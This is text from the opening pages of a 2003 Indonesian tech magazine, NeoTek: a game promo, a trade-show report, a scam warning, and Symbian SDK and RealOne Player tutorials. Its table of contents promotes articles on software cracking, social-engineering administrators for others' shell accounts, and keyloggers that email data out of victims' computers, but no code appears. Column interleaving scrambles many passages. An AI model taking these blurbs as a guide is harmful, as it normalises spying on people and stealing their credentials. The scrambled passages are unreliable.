You are on page 1of 49

NeoSoft

Arcade Game Klasik


Kali ini NeoTek menyajikan Arcade game Beetle Ju. Memang bukan jenis game
canggih seperti first person shooter atau real-time strategy game,
tetapi cukup mengasikkan...

ebenarnya Microsoft baru saja


S meluncurkan game terbaru Age
of Mythology: The Titans. Sayang
tidak ada demo atau trial version yang
disediakan.
Lagi pula tempat di CD NeoTek sudah
sangat terbatas mengingat banyaknya
software audio/video yang dimuat, se-
hingga akhirnya diputuskan menyaji-
kan arcade-game Beetle Ju yang mu-
dah dinavigasi selain menyajikan gra-
fik yang luar biasa bagus.
Beetle Ju
Windows 98/ME/2000/XP
Pentium 250, RAM 32

Iklan VisionNet
HomePage

amkm Salam!
anda Mobile Media:
meminta Handphone, Palm OS, Pocket PC
kami
mendownload
tidak dilanjutkan lagi

Tujuan AMKM ada-


lah untuk mendapatkan • Multimedia berupa video clip atau bahkan siaran televisi kini sudah dapat
dinikmati melalui koneksi GPRS serta format 3GPP yang sangat memperkecil
masukan software apa di ukuran video stream. Tidak lama lagi dengan 3G anda bahkan dapat melakukan
Internet yang menarik bagi video conferencing melalui handphone maupun PDA anda.

pembaca dan dapat di-


elanggan GPRS kini bisa menikmati siaran langsung
share dengan
pembaca P sepak bola ataupun siaran berita dalam format 3GPP.
Kualitasnya cukup baik untuk kecepatan akses GPRS
lain.
yang masih terbatas. Kenali berbagai format mobile media
yang semua disiapkan untuk komunikasi 3G yang sudah di
Keterbatasan ambang pintu.
tempat pada CD NeoTek
membuat program ini Redaksi
tidak efektif dan terlalu redaksi@neotek.co.id
banyak yang tertunda
untuk dapat dimuat dalam
CD NeoTek

Bagaimana menghubungi N EOTEK?


KONTRIBUSI ARTIKEL
redaksi@neotek.co.id ADMINISTRASI IKLAN
SURAT PEMBACA Tel. 021-5481457 Fax. 021-5329041
support@neotek.co.id SIRKULASI NEOTEK
Jadi layanan ini terpaksa WEBMASTER Tel. 021-5481457
webmaster@neotek.co.id ALAMAT REDAKSI
dihentikan dengan 4 Cairnhill Rise
PEMASARAN
bertahap tetap akan pemasaran@neotek.co.id #05-01 The Cairnhill
Singapore 229740
memenuhi permintaan CHATROOM DI DALNET
#neoteker
Telp. +65-67386482
kosasih@indo.net.id
yang sudah masuk. MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek

Vol. IV No. 02 NeoTek 1


Daftar Isi

Daftar Isi NeoTek Vol. IV No. 2


FOKUS VOL. IV NO. 2 17 Cracking Helix
Mobile Producer 2.0
Helix Mobile Producer 2.0 adalah pro-
duk komersial dan setelah masa trial
30 hari akan menampilkan watermark
‘Helix Trial’ pada output-nya. Water-
Mobile Media mark ini walaupun sulit, masih bisa
diakali agar tidak muncul dengan
cara meng-crack-nya. Awas! Hanya
untuk keperluan pendidikan dan
10 Player Format 3GPP di PC
NeoStart
bukan untuk dikomersialkan.
Tidak perlu ketinggalan meng-
ikuti teknologi mobile media walau-

6 Series 60 SDK 1.0


pun anda belum mempunyai Symbian
handphone. Gunakan 3GPP Player NeoStyle
Symbian Edition dari Philips ataupun QuickTime ter-
Mengenal Pinnacle
Ingin mengembangkan sendiri aplikasi
untuk Nokia 7650/3650?
baru untuk mem-playback-nya.
21 Studio 8
12 CodeWarrior for
Symbian Personal 2.0
Digital video editing menjadi mudah
9 RealOne Player for
Mobile Device Khusus untuk programmer C++ yang
dengan hasil tetap canggih menggu-
nakan Pinnacle Studio 8, software pe-
RealOne Player ingin mengembangkan aplikasi untuk menang Emmy Awards ini.
kini tersedia un- Symbian 7 seperti Sony Ericsson P800.
tuk handphone,
Palm OS, mau-
14 Helix Mobile 23 Efek Transisi
Hollywood FX
pun Pocket PC, Producer 2.0 Perkaya Pinnacle Studio 8 anda de-
bukan hanya Perangkat profesional untuk mengem- ngan efek-efek khusus yang dapat
untuk PC. Leng- bangkan mobile media. Serupa dengan dikendalikan dengan mudah lewat
kapi gadget an- Windows Media Encoder namun khu- Pinnacle Hollywood FX.
da dengannya. sus untuk mobile media.

Situs NeoTek www.neotek.co.id


neotek.kpone.com.sg
NeoTekno
Email Spoofing untuk
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
Link Langsung Layanan Rupa-rupa NeoTek
40 Mencuri Shell Account
Kunjungi situs-situs yang dibahas di Membahas ‘akal bulus’ untuk menge-
Channel #neoteker di Dalnet
majalah NeoTek dengan sekali klik Ngobrol ramai-ramai sesama NeoTeker labui administrator agar memberikan
lewat situs NeoTek. password untuk shell account milik
Web Chat Room
orang lain. Suatu bahasan yang kon-
Kini tidak usah jauh-jauh untuk ngobrol
NeoTek versi PDF langsung dengan sesama NeoTeker troversial.
Kehabisan NeoTek di kota Anda?
Dapatkan saja versi PDF-nya. Gratis! Mailing List
PostCast Server:
Ini yang paling ramai. Segera ikutan
berbagi pengalaman berinternet!
44 SMTP Server Milik
Download Sendiri
Tersedia juga download di situs NeoTeker Official Portal
http://www.neoteker.or.id Jengkel dengan lambatnya web mail
NeoTek selain dari situs aslinya
Situs komunikasi antar Neoteker. sewaktu mengakses dan mengirim
Neoteker Internet Radio email dari luar kota? Pasang saja
http://dj.neoteker.or.id:8000 SMTP server sendiri!

2 NeoTek Vol. IV No. 02


Daftar Isi

NeoTutor 32 SMTP untuk Keylogger:


Sebscribed SMTP
Open relay SMTP semakin langka saja,
NeoSoft
jadi semakin sulit membuat keylogger Beetle Ju
24 VB Workshop: kita efektif mengirim ‘hasil panen’ dari 0
Mengenal Visual Basic komputer korban ke pengirimnya. Gu- Arcade game sederhana
Banyak hacking tool dibuat menggu- nakan saja authenticated SMTP. tapi asik dimainkan de-
nakan Visual Basic. Kenali tool yang ngan grafik yang halus.
Ghost Keylogger
ampuh tapi mudah digunakan ini.
35
27 VB Workshop:
Sudah lama belum ada lagi
keylogger baru yang ampuh sampai
NeoProfil
Password Cracker munculnya keylogger utama di tahun
Editorial Office
Buatan Sendiri
Masih ingat Snadboy’s Revelation yang
2003 ini.
3 4 Cairnhill Rise
#05-01 The Cairnhill
dapat mengungkap password dibalik
tanda ******* ? Kini buat sendiri tool 36 Linux Workshop:
Membuat Partisi
Singapore 229740
Telp. +65-67386482
serupa dengan Visual Basic. Bila tidak paham betul mengenai
partisi, bagaimana bisa menginstal Business Office
30 VB Workshop:
Membuat Program Usil
Linux dengan benar? Gedung Cahaya Palmerah 503
Jl. Palmerah Utara III No. 9
Paragon Partition
Belajar pemrograman kadang kala
akan lebih menggairahkan kalau ada 39 Manager 2002
Jakarta 11480
Telp. 021-5481457
nakal-nakalnya sedikit, seperti mem- Memungkinkan anda mengakses par- Fax. 021-5329041
buat program usil ini. Awas! Jangan tisi Linux dari Windows. Tidak sepe-
dikembangkan menjadi program jahat. nuhnya mendukung NTFS. Pemimpin Umum
Fachri Said

46 Menjadikan PC Anda Pemimpin Redaksi


NeoReview DV-Ready
Selain prosesor, memori, dan hard disk,
Kosasih Iskandarsjah
Redaktur Ahli
diperlukan juga DV kit yang mencakup Onno W. Purbo
FireWire card serta video editing soft-
45 Memilih Camcorder
Memilih camcorder anda yang
ware.
Michael S. Sunggiardi
Pemimpin Usaha
pertama memang memusingkan, dari Fahmi Oemar
harga yang bervariasi dari 3 juta sampai 47 Memahami DVD Burning
Memahami struktur DVD-
Dadang Krisdayadi
20 jutaan, juga banyak istilah-istilah Redaktur Pelaksana
video file yang berupa file .VOB dan
teknis yang mungkin belum pernah Gianto Widianto
.IFO serta memahami copy protection
anda dengar sebelumnya.
pada DVD disk. Sekretaris Redaksi
Marni
NeoRagam NeoTek Vol. IV No. 03 Webmaster
Supriyanto
Klak Klik
4 Beetle Ju
Laporan dari infoComm Asia
Mengakali Server Agar
Mendapat SMS Gratis
Sirkulasi
Hedhi Sabaruddin, Denny
Proyektor dan Kenali fitur dan kelemahan layanan
Video Conference Adm. Langganan
SMS agar dapat diakali memberikan
KRISHNAdiSTRIBUTOR
Proyektor dengan Fasilitas Wi-Fi layanan gratis untuk anda.
Iklan dan Promosi
Letter/Email Scam: Industri Mengoptimasi Format
5 Ketiga Terbesar di Nigeria
‘Black Dollar’
Digital Video dalam Disk
Gianto Widianto
Keuangan
Memakan Mengoptimasi Aswan Bakri
Korban Lagi format video untuk
Desktop di-burn menjadi Bank
Computer 2004 VCD atau DVD
agar menghasil- Bank BNI
Daftar Isi CD a.n. PT NeoTek Maju Mandiri
48 NeoTek
Digital Video dan
kan kualitas
sebaik mungkin. No. rekening 070.001709720.001
Bank BCA Matraman
Audio
(khusus untuk langganan)
a.n. Boedi Krishnadi
DJ Java Decompiler 3.5.5.77
terdapat di CD NeoTek kali ini. No. rekening 342-239-1611

Vol. IV No. 02 NeoTek 3


NeoRagam

Klak Klik INFOCOMM ASIA, 29-31 OKTOBER 2003, SUNTEC SINGAPORE

GAME BULAN INI


Proyektor dan Video Conference
Beetle Ju ameran InfoComm Asalkan anda sudah terhu- Security
Arcade game klasik
5,75 MB
P Asia yang diseleng-
garakan 29-31 Ok-
bung dengan Internet, ma-
ka multi-point video con-
Pada solusi software, hal yang
perlu diperhatikan adalah
tober 2003 di Suntec Con- ferencing sudah bisa dilak- security. Security menggu-
vention Center, Singapore sanakan dengan menggu- nakan permission untuk
ini tampak meriah. Bukan nakan software yang di- ikut dalam video conference
karena banyaknya jenis pro- tawarkan. Artinya tidak menggunakan user name
duk yang dipamerkan, me- ada biaya untuk komuni- dan password untuk user
lainkan justru karena sa- kasi lagi dalam video con- terdaftar saja. Adapun pro-
ngat terbatasnya produk ferencing ini. Berbeda de- teksinya berupa enkripsi
yang dipamerkan. ngan solusi hardware yang 128-bit, baik lewat pengen-
Pameran ini praktis hanya masih menyertakan biaya dalian IP address maupun
menampilkan peralatan komunikasi. melalui web.
video conference, baik itu Dianjurkan menggunakan Teknologi Di Baliknya
A rcade game dengan
anda mengendali- solusi hardware, software, koneksi broadband dengan
kan Ju menggali tanah, maupun perangkat display paling sedikit 128 kbps Teknologi yang digunakan
menjatuhkan batu, meng- berupa proyektor. yang memberikan 16 kbps di balik solusi software per-
hindari monster, serta me- video streaming. Itu prasya- usahaan Malaysia ini sebe-
Solusi Software narnya sama saja dengan
mecahkan teka-teki. rat kecepatan koneksi in-
Ceritanya dimulai pada
Pada umumnya perangkat ternet di kantor. Dari luar teknologi yang digunakan
hari Jum’at malam se- video conference yang di- kantor masih bisa dengan oleh VoIP Merdeka, yaitu
waktu Ju sedang menon- pamerkan berupa solusi dial-up hanya 14,4 kbps. ITU Standard H.323 untuk
ton acara TV kesayangan- hardware, yang software komunikasi dengan H.261
nya. Tiba-tiba bayangan sudah berupa firmware Software ini memungkin- dan H.263 untuk video codec
seram datang entah dari yang melekat pada hard- kan pada saat yang ber- dan G.723.1 untuk audio
mana dan mengganggu ware yang ditawarkan. samaan menampilkan 33 codec, serta ITU Standard
keasikan Ju. video screen (duplex) serta H.235 untuk security.
Suatu terminal video con- 13 multipoint session
Game ini menampilkan ference sederhana dengan Perluasan VoIP Merdeka?
grafik bergaya kartun de- sekaligus. Adapun jumlah
mudah memasang harga user maksimum pada se- Sebenarnya gagasan multi-
ngan banyak obyek dalam
game seperti bonus, sen- USD5000. Cyber Confe - tiap saat bisa sampai 5000 point video conference ini
jata, dan harta terpendam. rence System dari Pioneer, orang. Tapi tentu saja ini sudah terlintas dalam pe-
yang berupa plasma screen juga tergantung pada user ngembangan VoIP Merdeka,
Game ini menyediakan besar yang merupakan da-
banyak level plus level- license yang dibeli. sewaktu NeoTek bertemu
level bonus. pat dipakai untuk kolabor- Onno W. Purbo akhir 2002.
asi langsung secara visual Berapa Biayanya?
Asik untuk semua umur!!! Kalau sampai benar-benar
dengan pihak lain yang Biaya untuk solusi multi- terlaksana, kita semua malah
menggunakan perangkat point video conference ini bisa menikmati multipoint
yang sama, memasang har- adalah biaya hardware video conference murah
ga USD30.000 untuk setiap (bisa semurah mengguna- meriah atau bahkan gratis.
unitnya. Bukan solusi un- kan webcam saja atau se- Kita tunggu saja.
tuk perusahaan kecil dan mahal menggunakan video
menengah. conference panel). MTVS Services Sdn. Bhd.
Yang menarik perhatian Adapun biaya software ada- Level 26, Menara IMC
adalah perusahaan Malay- lah biaya lisensi bulanan No. 8, Jl. Sultan Ismail
sia yang menawarkan so- sebesar SGD65 per user Kuala Lumpur 50250
Windows 98/2000/ME/XP Telp. +60-3-20394774
Pentium II 250, RAM32 lusi software untuk multi- per bulan.
point video conferencing. www.mtvs.com.my

Proyektor dengan Itulah fitur terbaru yang sebagai perangkat bisnis,


Fasilitas Wi-Fi dipamerkan oleh nyaris melainkan untuk home
semua peserta pameran entertainment.
Pada proyektor kini sudah yang memamerkan pro-
terdapat slot PCMCIA sa- Harganya pun
yektor. sudah sangat turun
ma seperti pada laptop dan
kedalam slot itu bisa dipa- Resolusi minimum pro- menjadi sekitar
sangkan wi-fi card. istilah yektor kini adalah XGA SGD1500.
yang diperkenalkan adalah (1024 x 768 pixel), resolusi
network projector. standard pada laptop.
Pemrasaran dalam seminar Proyektor dengan resolusi
kini dapat mengendalikan SVGA (800 x 600 pixel) Epson MP-735
kini tidak lagi dipasarkan dengan built-in wi-fi
proyektornya dari jauh. PCMCIA slot

4 NeoTek Vol. IV No. 02


NeoRagam

LETTER/EMAIL SCAM: ‘INDUSTRI’ KETIGA TERBESAR DI NIGERIA

‘Black Dollar’ Memakan Korban Lagi


au cepat kaya malah jadinya Lewat pertemuan ‘kelas atas’ di hotel Berbagai variasi Letter Scam
M habis-habisan. Kiranya hal ini
bukan hal yang asing lagi kita
mewah di London, pria ini berhasil
diyakinkan bahwa ada sekotak besar
Untuk mengenali (dan ajngan sampai
jadi korban) ada baiknya mengenal
dengar di mana-mana termasuk di lembaran dollar Amerika yang ‘dise-
variasi email scam Nigeria yang
tanah air. Penipuan berkedok peng- lundupkan’ ke Inggris dengan cara
dapat dibaca di sini:
gandaan uang dengan berbagai modus mencelupnya dengan suatu tinta
operansi semua memanfaatkan kele- hitam khusus. http://www.lpconline.com/Nigerian_
mahan manusia, yaitu keserakahannya. fraud_letter_scam.html
Apalagi setelah salah satu contoh ker-
Nigeria Email Scam tas itu dicuci dengan cairan kimia
Sudah lama Nigeria terkenal dengan ‘khusus’ benar-benar menjadi lebaran
penipunya, yang sudah sejak belasan dollar.
tahun lalu mengirimkan ribuan surat Masalahnya untuk mencuci sekotak
ke mana-mana untuk mengajak kerja besar ‘uang’ itu diperlukan bahan
sama ‘mencairkan’ uang tidak ber- kimia yang tidak sedikit, baik jum-
tuan entah dari milyarder Nigeria lahnya maupun harganya. Di sinilah
yang tewas dalam kecelakaan, hasil keserakahan mengambil korban.
korupsi rezim yang sudah diguling- Pria ini meminjam uang dari bank,
kan, atau apa saja teman, dan keluarga sampai senilai
Adanya Internet dan email membuat SGD330.000 untuk membayar ‘fee’
‘karya’ penipuan global ini semakin maupun ‘membeli’ bahan kimia
meluas saja. Setiap hari jutaan email dengan janji imbalan bagi hasil dari
berisi surat penawaran ‘kerja sama’ uang hasil cucian yang akan bernilai
itu dikirim ke seluruh dunia. Dan jutaan dollar.
masih ada saja yang kena, seperti Mudah diduga akhir ceritanya. Se-
yang menimpa seorang pria Singa- mua itu cuma penipuan yang dimulai
pura belum lama ini. dari sepucuk email.

Desktop Computer Tahun 2004 yang 150 MB/sec. Jadi Serial ATA II
hard disk juga akan muncul tidak
esktop komputer sudah mentok prosesor dengan ekstensi 64-bit yang lama lagi.
D dan kini orang beralih ke laptop baru akan diluncurkan setelah ke- PCI Express
atau desktop replacement dalam ben- luarga Pentium 4 berikutnya (3.0
Baru saja AGP Port membuat gra-
tuk komputer yang tampilannya se- GHz) diluncurkan.
phics card untuk PCI card menjadi
perti laptop namun dengan ukuran Intel Prescott kiranya akan berlari barang usang, kini keadaan sebalik-
dan kinerja desktop? pada kecepatan 3.0 sampai 5.0 GHz. nya bisa terjadi.
Sepintas kelihatannya demikian de- mempunyai level 1 cache 16KB dan
PCI tidak lama lagi akan tampil se-
ngan ramainya para pabrikan mem- level 2 cache 1 MB dan berjalan pada
bagai PCi Express. Bus yang baru ini
promosikan desktop replacement motherboard dengan front side bus
diciptakan dengan alasan yang sama
menyusul keberhasilan ECS dengan 800 MHz.
seperti munculnya Vesa Local bus
Desknote-nya. Intel Vanderpool Technology sewaktu jaya-jayanya proseor 486,
Namun desktop masih jauh dari mati. Teknologi yang sekarang hanya ter- yaitu lebih banyak data yang ditran-
Dimulai diperkenalkannya prosesor sedia pada server akan dibuka juga sfer di antara komponen-komponen
64-bit dari AMD, motherboard MSI untuk home PC. Dengan teknologi dalam PC itu sendiri dibandingkan
kebanjiran peminat dan tidak lama ini PC anda dapat dipartisi menjadi dengan ditransfer ke/dari luar.
lagi akan semakin besar computing komponen-komponen independen Artinya diperlukan pipe yang lebih
power yang hanya dapat dimafaatkan seperti untuk komputasi, untuk DVD cepat lagi.
apabila menggunakan desktop com- player, dan lainnya. Jadi sewaktu PCI Express generasi pertama akan
puter. anda mem-boot komputer untuk mempunyai bandwidth dua kali yang
Intel Prescott Chip komputasi, DVD player tetap dimiliki AGP8x.
Sewaktu AMD heboh dengan prose- berjalan.
Wi-Fi
sor Athlon64 dari AMD, Intel hanya Serial ATA II
Pada motherboard mula-mula ada
bisa mengutak-atik lagi Xeon chip- Sekarang ini Serial ATA untuk trans- buil-in modem, lalu built-in LAN
nya menjadi Pentium 4 Extreme fer data dari/ke hard disk dengan ce- card serta built-in Bluetooth. Tidak
Edition. pat baru ada pada motherboard kelas heran bila built-in wi-fi juga akan
Tapi Intel tidak lama tinggal diam. atas, tetapi Serial ATA II sudah siap- menjadi standar untuk motherboard
Intel juga punya senjata pamungkas siap diluncurkan. Serial ATA II mem- di masa mendatang, mengingat ke-
yang dikenal dengan codename punyai kecepatan transfer data 300 giatan komputasi semakin melibat-
Prescott, yang diperkirakan suatu MB/sec. dibandingkan Serial ATA kan kegiatan wireless.

Vol. IV No. 02 NeoTek 5


NeoStart

M O B I LE M E D IA
Series 60 SDK 1.0 Symbian Ed.
Ingin mengembangkan sendiri aplikasi untuk handphone Nokia 7650 dan 3650 anda?
Handphone ini sudah seperti komputer tapi menggunakan sistem operasi khusus Symbian OS 6.
Fitrianto Halim (fitriantoh@hotmail.com) membahasnya untuk anda.
Kemudian, jalankan file Setup.exe. kecuali jika Anda telah meng-install-
U
NTUK PENGEMBANGAN APLIKASI
berbasis Symbian OS, vendor nya (lihat di bagian Description se-
ponsel, baik Nokia maupun suai dengan software yang dipilih).
Sony Ericsson menyediakan SDK (Soft- Pilihan Java Install akan menginstal-
ware Development Kit) yang dapat di- asi J2RE (Java2 Runtime Environment)
download secara gratis dari situsnya. versi 1.3.1 yang digunakan untuk men-
Pada artikel ini, penulis membahas SDK jalankan beberapa tool yang dibuat
untuk pengembangan aplikasi berbasis dengan Java (biasanya memiliki tam-
Symbian OS dengan target Nokia Se- pilan GUI, seperti AIFBuilder dan Sisar).
ries 60 (Nokia 7650 dan Nokia 3650).
Pilihan Perl Install akan menginstal-
Jika anda mengunjungi situs Forum asi Perl 5 yang akan digunakan untuk
Nokia, Anda akan mendapatkan bahwa menjalankan perl script (umumnya
Nokia telah mengeluarkan tiga buah dipanggil dari batch file, seperti abld.bat).
versi SDK untuk Series 60 pada Sym- Hasil dari instalasi Series 60 SDK 1.0
bian OS, yaitu: versi 0.9, versi 1.0, dan Gambar 2. Ekstrak ke direktori
C:\WINDOWS.TEMP
for Symbian OS, Nokia edition ada-
terakhir versi 1.2 (di-release tanggal 14 lah akan ditambahkannya menu pada
Agustus 2003). Ketiga SDK tersebut Start > Programs.
diperuntukkan bagi programmer C++.
Karena penulis belum sempat men-
download dan mencoba versi 1.2, maka Gambar 5. Menu akan ditambahkan
tidak ada salahnya kalau kita mencoba pada Start > Program.
versi 1.0 yang di-release pada tanggal
20 Desember 2002. Mudah-mudahan, Selain itu, akan ditambahkan envi-
ronment variable EPOCROOT yang
pada kesempatan yang akan datang pe- berisi
nulis dapat mengulasnya.
\Symbian\6.1\Series60\
Instalasi Series 60 SDK 1.0 for Symbian
OS, Nokia edition cukup mudah. Hanya serta penambahan isi dari environ-
ment variable PATH, yaitu:
yang perlu diperhatikan adalah Series
60 SDK 1.0 for Symbian OS, Nokia edi- Gambar 3. Jalankan setup.exe drive:\Symbian\6.1\Shared\epoc32\gcc\bin
tion ini dikhususkan untuk pemakai MS dan
Visual C++ dan sebelumnya penulis su- Pada bagian Select Components ada drive:\Symbian\6.1\Shared\epoc32\tools
dah menginstalasi MS Visual C++ versi 6. baiknya Anda memilih untuk meng-
instalasi semua komponen, termasuk termasuk pula drive:\PERL\BIN jika
Download dan Instalasi software dari pihak ketiga (3rd party) anda memilih untuk meng-install
Pertama-tama download Series 60 SDK software Perl pada bagian Select Com-
1.0 for Symbian OS, Nokia edition di: ponents saat proses instalasi Series 60
SDK 1.0 for Symbian OS, Nokia edition.
http://www.forum.nokia.com/files/nds
_disclaimer/1,6673,2712,00.html Agar perubahan environment variable
tersebut berlaku efektif, ada baiknya
(setelah login terlebih dulu) atau ambil kalau Anda me-restart MS Windows.
dari CD NeoTek kali ini.
Struktur directory hasil instalasi bisa
dilihat pada Gambar 7. Tampak bah-
wa ada dua buah directory yang ber-
Gambar 1. Download Series 60 SDK 1.0 isi contoh-contoh untuk Symbian OS
for Symbian OS, Nokia. yang dapat dicoba, yaitu Epoc32Ex dan
Buka file hasil download tersebut Gambar 4. Select Components. Gambar 6. Environment variable dan path.
nS60_sdk_v1_0.zip) misalkan dengan
(n
WinZip. Lalu ekstrak pada folder yang
Anda inginkan (misalkan pada folder
temporary dari Windows).

6 NeoTek Vol. IV No. 02


NeoStart

Gambar 12. Ketikkan abld help commands


untuk menampilkan berbagai perintah abld.

Gambar 9. Command line bldmake


bldfiles membentuk struktur direktori di
bawah folder Epoc32Ex juga.
di bawahnya, sebagai hasil command
line tersebut pula.
Pada folder tersebut, kita akan mene-
mukan make file untuk platform yang
berbeda. Untuk mengetahui secara
persis penggunaan bldmake, anda Gambar 13. abld help options.
Gambar 7. Struktur direktori. dapat mengetikkan command line:
Karena kita akan mencoba pada emu-
Series60Ex. Hanya disarankan untuk bldmake lator, maka pada MS-DOS prompt
mencoba yang terdapat pada folder anda dapat mengetikkan command
Series60Ex, karena yang terdapat pada line berikut
folder Epoc32Ex tampilannya masih
berupa console, sedangkan yang ter- abld build wins udeb
dapat pada folder Series60Ex sudah untuk versi debug atau anda dapat
berupa GUI. mengetikkan command line berikut
HelloWorldPlus pada Emulator abld build wins urel
Sebagai contoh, penulis akan mem- untuk versi release. Pada contoh ini,
berikan tahapan-tahapan agar kita penulis memilih untuk mengetikkan
dapat menjalankan HelloWorldPlus command line berikut:
pada emulator. abld build wins udeb.
Pertama-tama, pada MS-DOS prompt
masuklah ke directory Gambar 10. Ketikkan bldmake dan ter-
lihat bahwa bldmake adalah suatu Pro-
Series60Ex\HelloWorldPlus\group
ject building utility.
(sebagai current directory).
Lalu, ketikkan command line berikut: Untuk membuat aplikasi sesuai dengan
bldmake bldfiles platform yang kita inginkan, kita da-
pat menggunakan batch file abld.bat.
Yang perlu diperhatikan adalah yang
dapat diemulasi adalah untuk platform
WINS, sedangkan aplikasi untuk ponsel
Nokia Seri 60 adalah menggunakan
platform ARMI.
Gambar 8. Dari C:\Symbian\6.1\series60\ Gambar 14. Batch file abld dijalankan
series60Ex\Helloworldplus\group ketik- untuk membentuk aplikasi pada platform
kan bldmake nbldfiles WINS (simulator).
Sebenarnya banyak perubahan yang
Hasil command-line tersebut adalah ter- terjadi setelah kita mengetikkan com-
bentuknya file abld.bat pada current mand line tersebut. Salah-satunya ada-
directory. Sebenarnya, jika kita mene- lah subfolder HELLOWORLDPLUS
lusuri folder-folder yang terdapat pada terbentuk di bawah folder:
Symbian\6.1\Series60\Epoc32 Symbian\6.1\Series60\Epoc32\Release
maka kita akan menemukan folder \wins\UDEB\Z\SYSTEM\apps
Gambar 11. Jalankan abld.bat untuk
Build\Symbian\6.1\Series60\SERIES membuat aplikasi sesuai dengan plat- (tentunya anda sudah dapat menebak
60EX\HELLOWORLDPLUS\G roup form yang diinginkan. lokasi folder untuk aplikasi versi release).

Vol. IV No. 02 NeoTek 7


NeoStart

Untuk Platform ARMI (0x101F6F87), 0, 0, 0, {"Series60ProductID"}


Untuk membuat aplikasi pada plat- untuk Nokia 7650 dan
form ARMI (sebaiknya pergunakan (0x101F6F88), 0, 0, 0, {"Series60ProductID"}
versi release), anda dapat mengetikkan
command line berikut: untuk release pertama Nokia Series 60.
Hanya, umumnya file .pkg yang ter-
abld build armi urel dapat pada Series60Ex memperguna-
Hasilnya akan disimpan pada folder kan yang terakhir.
Symbian\6.1\Series60\Epoc32\Releas Bagi yang ingin mencoba meng-install
e\ARMI\UREL. Selanjutnya, anda file SIS pada emulator, bisa menyim-
tinggal membuat file .pkg (package pan file SIS tersebut pada folder
control file) dan file SIS (Symbian
Installation). Symbian\6.1\Series60\Epoc32\Wins\
c\nokia\installs
Karena beberapa hal sudah diulas pada
artikel mengenai Symbian OS 7 UIQ Untuk memulai instalasi, pilihlah
SDK (NeoTek IV/1), maka penulis akan Configurations > Apps Ctrl, lalu pilih
membahas yang belum dicakup pada Install dari menu Options.
artikel tersebut. Sedangkan jika anda ingin melakukan
Perhatikan bahwa ada dua jenis pla- uninstall, pilih Configurations >
form processor sebagai hasil kompi- Apps Ctrl, lalu pilih Remove dari
lasi, yaitu THUMB dan ARMI. Namun, menu Options.
jika kita melihat isi file .pkg (ada pada Jika aplikasi hasil batch file abld.bat
tiap folder sis) yang terdapat pada disimpan pada drive Z: (ROM), maka
Series60Ex tampak bahwa umumnya aplikasi hasil instalasi file SIS pada
Gambar 15. Subfolder HELLOWORLDPLUS yang dipilih adalah platform THUMB. emulator disimpan pada drive C:
Untuk mengetahui perbedaan antara (RAM) atau lengkapnya di folder
Pada menu Start > Programs, pilihlah
Symbian 6.1 SDKs > Series 60 > ARM dan THUMB, Anda dapat ber- Symbian\6.1\Series60\Epoc32\Wins\
Emulator (debug) untuk menjalankan kunjung ke situs ARM (Advanced c\system\apps.
emulator versi debug. RISC Machines) terutama pada ba-
gian dokumentasi dengan URL: Bagi yang tertarik dengan pemrogram-
Pada emulator, anda akan menemu- an, silakan baca artikel berikutnya:
kan aplikasi dengan title HW+ yang http://www.arm.com/arm/document
ation?OpenDocument . Mobile Media: Code Warrior for
memiliki ikon standar. Cobalah apli- Symbian v. 2.0
kasi tersebut, setidak-tidaknya hal ini Salah satu hal yang cukup penting
akan memacu anda untuk tidak seke- pada file .pkg adalah product/plat- serta kembali ke NeoTek IV/1 yang
dar hanya sebagai pemakai saja, teta- form version. Pada Nokia Series 60 membahas Symbian OS 7 UIQ SDK.
pi mudah-mudahan tertarik untuk ada dua buah, yaitu:
mempelajari pemrogramannya.

8 NeoTek Vol. IV No. 02


NeoStart

M O B I LE M E D IA
RealOne Player for Mobile Device
Pada Nokia 3650 sudah terpasang RealOne Player for Symbian OS, tetapi belum terdapat pada
Nokia 7650 maupun 9210. Jadikan semua itu multimedia player!

PAKAH ANDA INGIN MEM-PLAY- lain terdapat untuk PC, RealOne Player Selain menyediakan aplikasi RealOne
A back format multimedia atau
mem-playback streaming audio
kini juga terdapat sebagai aplikasi un-
tuk mobile device (RealOne Player for
Player, di situs RealNetworks Andapun
dapat mencoba content stream. Misal-
atau video (misalkan untuk menonton mobile device), yang informasinya bisa kan untuk ponsel Nokia 7650, Anda
TV) pada ponsel Nokia Series 80 dan didapatkan pada URL berikut: dapat mencoba content stream pada
Nokia Series 60 ? Jika YA jawabannya, http://www.realnetworks.com/mobile/ URL berikut:
ada baiknya Anda meluangkan waktu index.html http://www.real.com/7650
untuk membaca artikel ini.
Untuk men-download aplikasi RealOne Sebagai tambahan, jika Anda pernah
Para pemakai PC mungkin sudah me- Player pada device yang anda inginkan, membaca dokumentasi
ngenal aplikasi RealPlayer. Dapat dika- Anda bisa mengetikkan URL berikut:
takan, RealPlayer fungsinya sama de- Video and Streaming in Nokia Phones
ngan Windows Media Player. Selain http://www.real.com/realonemobile/ Version 1.0
dapat mem-playback format multimedia download.html yang terdapat pa-
standar, RealPlayer juga dapat mem- Berdasarkan informasi yang terdapat da situs Forum
playback format multimedia yang di- pada situs RealNetworks, RealOne Pla- Nokia, ponsel No-
namakan RealMedia (format multi- yer untuk Pocket PC dan Palm OS 5 kia 6600 yang ba-
media dari RealNetworks selaku pem- hanya mampu mem-playback format ru saja diluncur-
buat RealPlayer), terdiri dari RealAudio audio saja. Oleh karena itu, penulis kan di Indonesia
dan RealVideo. akan mengulas tentang RealOne Pla- bulan Oktober,
Entah mengapa, beberapa tahun kemu- yer untuk ponsel Nokia Series 80 dan juga telah me-
dian RealPlayer berganti nama men- Nokia Series 60. nyertakan aplikasi
jadi RealOne Player. RealOne Player baik untuk ponsel RealOne Player di
Nokia Series 80 dan Nokia Series 60 dalamnya.
Jika anda berkunjung ke RealNetworks
http://www.realnetworks.com), anda
(h merupakan aplikasi Symbian OS, se- Catatan:
akan mendapatkan informasi menarik hingga hasil download-nya (berupa file NeoTek III/11
tentang RealOne Player ini, yaitu se- ZIP) nantinya harus diekstrak untuk telah membahas
menghasilkan file SIS (Symbian Instal- Nokia Multime-
lation). dia Converter 2.0
Untuk Nokia Series 80, yang dapat di- yang dapat mem-
download hanyalah file realone_9210.zip bentuk format
(untuk Nokia 9210). Untuk Nokia Se- file video .3gp
ries 80 lainnya, yaitu 9210i dan 9290 yang dimainkan
(hanya dijual di Amerika, karena meng- dengan RealOne
gunakan frekuensi 1900MHz), RealOne Player pada
Player telah di-pre-install pada drive C: Nokia 3650.
(RAM).
Untuk Nokia Series 60, yang dapat di-
download hanyalah file realone_7650.zip
(ponsel Nokia 7650). Pada Nokia 3650,
